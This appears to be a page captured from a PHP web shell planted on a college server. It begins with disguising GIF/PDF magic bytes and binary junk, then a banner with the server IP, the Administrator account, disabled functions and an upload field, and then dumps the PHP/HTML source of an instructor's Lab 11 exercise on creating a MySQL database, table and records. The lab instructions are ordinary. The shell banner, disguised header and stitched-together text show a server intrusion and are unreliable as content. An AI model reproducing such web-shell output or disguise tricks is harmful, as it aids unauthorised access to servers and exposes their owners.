GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST1146/Labs/Lab11/ |
Upload File : |
<? // JimMartinson/CST1146/Labs/Lab11/Lab11.phpinc #if ( $_SESSION['userId'] == 1 ) $showEvaluationVariables = true; require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. #if ( $_SESSION['userId'] != 1 ) { require('Gradebook/EvaluationSubmission_END.phpinc'); exit; } include('common/Browser/Browser.phpinc'); $disabled = ''; $disabled = ' disabled'; // Comment this line to enable lab. // NOTE: Disable Include conf/extra/httpd-autoindex.conf line in the httpd.conf file before labs. // OR: Fix labs so Lab 4 mod_autoindex works as it should. ?> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Description</legend> The purpose of this lab is to demonstrate the use of php and MySQL. <br><div class="error bold" style="background-color: lightgoldenrodyellow;"> Note: If you are having problems with your <b><?=$saveFilename?>_CreateDatabase.php</b> file not connecting to the database and see errors like: <ul> <li>The server requested authentication method unknown to the client</li> <li>Access denied for user 'root'@'localhost' (using password: YES)</li> </ul> Open <a href="../../../Setup/PHP_MySQL/">PHP MySQL Authentication</a> for help. </div> <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Instruction</legend> <ol class="count"> <!-- 1 --> <li>Create a directory called <b class="copyText"><?=$evaluationName?></b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?></b> directory. We will use it for all work performed in this lab.</li> <!-- 2 --> <li>Configure php for mysqli: <ol> <li>Load the phpinfo.php page (Created in <?=labLink(2,false,'')?>) in a browser and look for the <b>mysqli</b> module. <br>If it is not there, configure php to load the mysqli module: <ol> <li>Look at the <b>Loaded Configuration File</b> line. It should show the location and name of the php configuration file. <br>If it is blank then no configuration file was loaded and php is running under a default configuration. <br>You will need to create it. <ol> <li>Look in your php install directory for a file named <b>php.ini-development</b>.</li> <li>Make a copy of the <b>php.ini-development</b> file.</li> <li>Rename it <b>php.ini</b></li> </ol> <span class="note">See <a href="https://www.php.net/manual/en/configuration.file.php">The configuration file</a> and <a href="https://www.php.net/manual/en/install.windows.php">Installation on Windows systems</a>.</span> </li> <li>Open the <b>php.ini</b> file in a text editor.</li> <li>Find the <b class="code">;extension=mysqli</b> line in the file.</li> <li>Uncomment the line (Remove the ;).</li> <li>Save the change.</li> <li>Stop and re-start Apache.</li> <li>Load the phpinfo.php page in a browser. The mysqli module should now show as loaded. <br>If it does not then you must configure the <b>extension_dir</b>: <ol> <li>Open the <b>php.ini</b> file in a text editor.</li> <li>Find the <b class="code">extension_dir=</b> line in the file.</li> <li>If it does not exist, create it. <br><span class="note">e.g. <b class="copyText">extension_dir = "C:/php8/ext"</b>.</span></li> <li>If it is commented out, uncomment it. <br><span class="note">Mine was commented out.</span> </li> <li>If it is incorrect, correct it. <br><span class="note">Mine was incorrect. Setting it to just <b>"ext"</b> set it to C:/php/ext. I needed to change it to <b class="copyText">"C:/php8/ext"</b>.</span> </li> <li>Save the change.</li> <li>Stop and re-start Apache.</li> <li>Load the phpinfo.php page in a browser. The mysqli module should now show as loaded. <br>If it does not then you need to contact me so we can figure out what the problem is. </li> </ol> </li> </ol> </li> <li>Take a screenshot of the mysqli module and save it as <b class="copyText"><?=$saveFilename?>_mysqli.png</b> in your <b><?=$evaluationName?></b> folder. <? showBegin('See mysqli module example screenshot'); ?><br> <img src="mysqli.png" width="682" height="340" alt="mysqli module example screenshot"/><br> <? showEnd (); ?> </li> </ol> <span class="note">Add text to describe what is being displayed and on separate lines. Display all values using the php var_dump() function.</span> </li> <!-- 3 --> <li>Code a PHP file to create a MySQL database: <ol> <li>Create a PHP file named <b class="copyText"><?=$saveFilename?>_CreateDatabase.php</b> in the <b><?=$evaluationName?></b> directory and open it in an editor.</li> <li>Include the <b class="copyText">application.php</b> file.</li> <li>Call the <b class="php">beginPage</b> function with a parameter of <b class="copyText">Lab <?=$evaluationNumber?> - <?=$userFullName?> - Create a database</b>.</li> <li>Copy and modify code from the <a href="https://www.w3schools.com/php/php_mysql_create.asp">PHP Create a MySQL Database</a> tutorial. <br>You may use either the <b>MySQLi Object-oriented</b> or <b>MySQLi Procedural</b> code, whichever you wish. <br>You will need to change the values of the <b>$username</b> and <b>$password </b> variables. </li> <li>Call the <b class="php">endPage</b> function</li> <li>Save the <b><?=$saveFilename?>_CreateDatabase.php</b> file.</li> <li>Verify that your page works. <ol type="i"> <li>Start Apache if it is not running.</li> <li>Open up a browser.</li> <li>In the address bar enter <b class="copyText">http://localhost/CST1146/<?=$evaluationName?>/</b> and hit enter.</li> <li>Click on your <b><?=$saveFilename?>_CreateDatabase.php</b> file. <br>You should see a page like:<br> <? /**/ BrowserBegin('Lab '.$evaluationNumber.' - '.$userFullName,'http://localhost/CST1146/'.$saveFilename.'_CreateDatabase.php',820); ?> <h1 class="left">Lab <?=$evaluationNumber?> - <?=$userFullName?> - Create a database</h1> Database created successfully <br><span style="color:silver; font-size:smaller">Written by <?=$userFullName?>.</span> <? BrowserEnd(); /**/ ?> If this is not what you see then you have errors in your code. </li> <li><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>_CreateDatabase.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory. <br>Make sure that the address bar is visible in your browser before saving the image. </li> </ol> <span class="note">If you check with MySQL Workbench there should now be a schema (database) named <b>myDB</b>.</span> </li> </ol> <span class="note">If you have already loaded this page once successfully, you need to use MySQL Workbench to drop the <b>myDB</b> database before it will work again.</span> </li> <!-- 4 --> <li>Code a PHP file to create a table: <ol> <li>Create a PHP file named <b class="copyText"><?=$saveFilename?>_CreateTable.php</b> in the <b><?=$evaluationName?></b> directory and open it in an editor.</li> <li>Include the <b class="copyText">application.php</b> file.</li> <li>Call the <b class="php">beginPage</b> function with a parameter of <b class="copyText">Lab <?=$evaluationNumber?> - <?=$userFullName?> - Create a table</b>.</li> <li>Copy and modify code from the <a href="https://www.w3schools.com/php/php_mysql_create_table.asp">PHP MySQL Create Table</a> tutorial. <br>You may use either the <b>MySQLi Object-oriented</b> or <b>MySQLi Procedural</b> code, whichever you wish. <br>You will need to change the values of the <b>$username</b> and <b>$password </b> variables. </li> <li>Call the <b class="php">endPage</b> function</li> <li>Save the <b><?=$saveFilename?>_CreateTable.php</b> file.</li> <li>Verify that your page works. <ol type="i"> <li>Start Apache if it is not running.</li> <li>Open up a browser.</li> <li>In the address bar enter <b class="copyText">http://localhost/CST1146/<?=$evaluationName?>/</b> and hit enter.</li> <li>Click on your <b><?=$saveFilename?>_CreateTable.php</b> file. <br>You should see a page like:<br> <? /**/ BrowserBegin('Lab '.$evaluationNumber.' - '.$userFullName,'http://localhost/CST1146/'.$saveFilename.'_CreateDatabase.php',820); ?> <h1 class="left">Lab <?=$evaluationNumber?> - <?=$userFullName?> - Create a table</h1> Table MyGuests created successfully <br><span style="color:silver; font-size:smaller">Written by <?=$userFullName?>.</span> <? BrowserEnd(); /**/ ?> If this is not what you see then you have errors in your code. </li> <li><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>_CreateTable.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory. <br>Make sure that the address bar is visible in your browser before saving the image. </li> </ol> <span class="note">If you check with MySQL Workbench there should now be a table named <b>MyGuests</b> in the <b>myDB</b> database.</span> </li> </ol> <span class="note">If you have already loaded this page once successfully, you need to use MySQL Workbench to drop the <b>MyGuests</b> table before it will work again.</span> </li> <!-- 5 --> <li>Code a PHP file to insert some data: <ol> <li>Create a PHP file named <b class="copyText"><?=$saveFilename?>_InsertData.php</b> in the <b><?=$evaluationName?></b> directory and open it in an editor.</li> <li>Include the <b class="copyText">application.php</b> file.</li> <li>Call the <b class="php">beginPage</b> function with a parameter of <b class="copyText">Lab <?=$evaluationNumber?> - <?=$userFullName?> - Insert some data</b>.</li> <li>Copy and modify code from the <a href="https://www.w3schools.com/php/php_mysql_insert.asp">PHP MySQL Insert Data</a> tutorial. <br>You may use either the <b>MySQLi Object-oriented</b> or <b>MySQLi Procedural</b> code, whichever you wish. <br>You will need to change the values of the <b>$username</b> and <b>$password </b> variables. </li> <li>Call the <b class="php">endPage</b> function</li> <li>Save the <b><?=$saveFilename?>_InsertData.php</b> file.</li> <li>Verify that your page works. <ol type="i"> <li>Start Apache if it is not running.</li> <li>Open up a browser.</li> <li>In the address bar enter <b class="copyText">http://localhost/CST1146/<?=$evaluationName?>/</b> and hit enter.</li> <li>Click on your <b><?=$saveFilename?>_InsertData.php</b> file. <br>You should see a page like:<br> <? /**/ BrowserBegin('Lab '.$evaluationNumber.' - '.$userFullName,'http://localhost/CST1146/'.$saveFilename.'_CreateDatabase.php',820); ?> <h1 class="left">Lab <?=$evaluationNumber?> - <?=$userFullName?> - Insert some data</h1> New record created successfully <br><span style="color:silver; font-size:smaller">Written by <?=$userFullName?>.</span> <? BrowserEnd(); /**/ ?> If this is not what you see then you have errors in your code. </li> <li><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>_InsertData.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory. <br>Make sure that the address bar is visible in your browser before saving the image. </li> </ol> <span class="note">If you check with MySQL Workbench there should now data in the <b>MyGuests</b> table.</span> </li> </ol> </li> <!-- 6 --> <!-- 7 --> <!-- 8 --> <!-- 9 --> <!-- 10 --> <li>Turn in your assignment: <ol> <li>Ensure the following files are in your <b><?=$evaluationName?></b> folder:<br> <? $fileList = array( $saveFilename.'_mysqli.png', $saveFilename.'_CreateDatabase.php', $saveFilename.'_CreateTable.php', $saveFilename.'_InsertData.php', $saveFilename.'_CreateDatabase.png', $saveFilename.'_CreateTable.png', $saveFilename.'_InsertData.png', ); natcasesort($fileList); foreach ($fileList as $fileName) { ?> <?=$fileName?><br> <? } ?> </li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <? require('../LabNotes.phpinc'); require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. ?>